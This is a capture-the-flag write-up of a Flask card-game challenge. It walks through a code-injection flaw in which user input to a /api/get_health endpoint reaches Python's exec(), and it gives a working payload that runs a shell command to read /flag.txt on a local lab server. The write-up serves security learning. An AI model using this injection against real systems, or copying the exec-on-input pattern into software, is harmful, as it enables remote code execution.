Web Evaluation Check

Application at-a-glance

Application is a card game that allows user to flip 8 cards.

When HP bar is depleted game is ended.

Source Code Review

Most interesting file is routes.py as this file store all logic used by application.

from flask import Blueprint, render_template, request
from application.util import response

web = Blueprint('web', __name__)
api = Blueprint('api', __name__)

@web.route('/')
def index():
    return render_template('index.html')

@api.route('/get_health', methods=['POST'])
def count():
    if not request.is_json:
        return response('Invalid JSON!'), 400

    data = request.get_json()

    current_health = data.get('current_health')
    attack_power = data.get('attack_power')
    operator = data.get('operator')
    
    if not current_health or not attack_power or not operator:
        return response('All fields are required!'), 400

    result = {}
    try:
        code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec')
        exec(code, result) #exec function allows to execute python code
        return response(result.get('result'))
    except:
        return response('Something Went Wrong!'), 500

First interesting thing is that this application uses compile and exec function.

Let's analyze the given source code.

    data = request.get_json()

    current_health = data.get('current_health')
    attack_power = data.get('attack_power')
    operator = data.get('operator')

This piece of code parse POST request body and get current_health, attack_power and operator parameters.

Next step is checking if all three variables are set, this ensures that all three parameters are passed in request.

if not current_health or not attack_power or not operator:
        return response('All fields are required!'), 400

This part is most interesting because of use exec function.

 result = {}
    try:
        code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec')
        exec(code, result) #exec function allows to execute python code
        return response(result.get('result'))
    except:
        return response('Something Went Wrong!'), 500

But before exec call, user input is directly passed to compile function and then to exec, current_health and attack_power are casted to int. Result variable is returned to the user in reponse

Vulnerability

As there is no sanitization of user input there is possible RCE (Remote Code Execution) via exec function!

Testing

As I'm not familliar with compile()/exec() function combo I copied relevant part of code to new python script for testing.

current_health = '12'
operator = "+"
attack_power = '100'
result = {}

try:
    code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec')
    exec(code, result)
    print(result.get('result'))
except:
    print('Something Went Wrong!')

After executing this script number 112 is printed.

exec function is capable of executing python code. User controles all three parameters but only operator is passed directly to compile rest parameters are converted to int

One modyfication for testing script is required, because in this state when something is wrong printing Something Went Wrong!

To get full traceback try/except block can be removed.

So the first try was to set operator variable to something easy like print(1) and if everything goes well it should print 1

current_health = '12'
operator = "print(1)"
attack_power = '100'
result = {}
code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec')
exec(code, result)
print(result.get('result'))

Unfortunately after executing, script returns SyntaxError: Invalid Syntax and result is equal to result = 12 print(1) 100 so 12 is current_health and 100 is attack_power

Python is capable of running inline code when next instruction are separated with semicolon ;

current_health = '12'
operator = ";print(1);"
attack_power = '100'
result = {}
code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec')
exec(code, result)
print(result.get('result'))

Executing this yeild great success! Script printing additianal 1 in terminal window.

Exploitation

With proper code execution now we can read the flag.

POST /api/get_health HTTP/1.1
Host: 127.0.0.1:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:1337/
Content-Type: application/json
Origin: http://127.0.0.1:1337
Content-Length: 114
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{
	"current_health":"43",
	"attack_power":"33",
	"operator":";result = __import__('os').popen('cat /flag.txt').read();"
}

After sending this malicious request to application, server returns flag.

Payload explanation

"operator":";result = __import__('os').popen('cat /flag.txt').read();"

semicolons are here for valid python code execution - without ; signs interpreter throws invalid syntax error
result = this overwrites variable that is returned in response to the user
__import__ is function called by regular import statement this allows to import modules directly so __import__('os') means the same as import os but can be done inline and can call functions directly by referencing them as objects
popen('cat /flag.txt) this function spawns shell process and executes command cat /flag.txt
read() reads output of a process from popen

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Last updated 1 year ago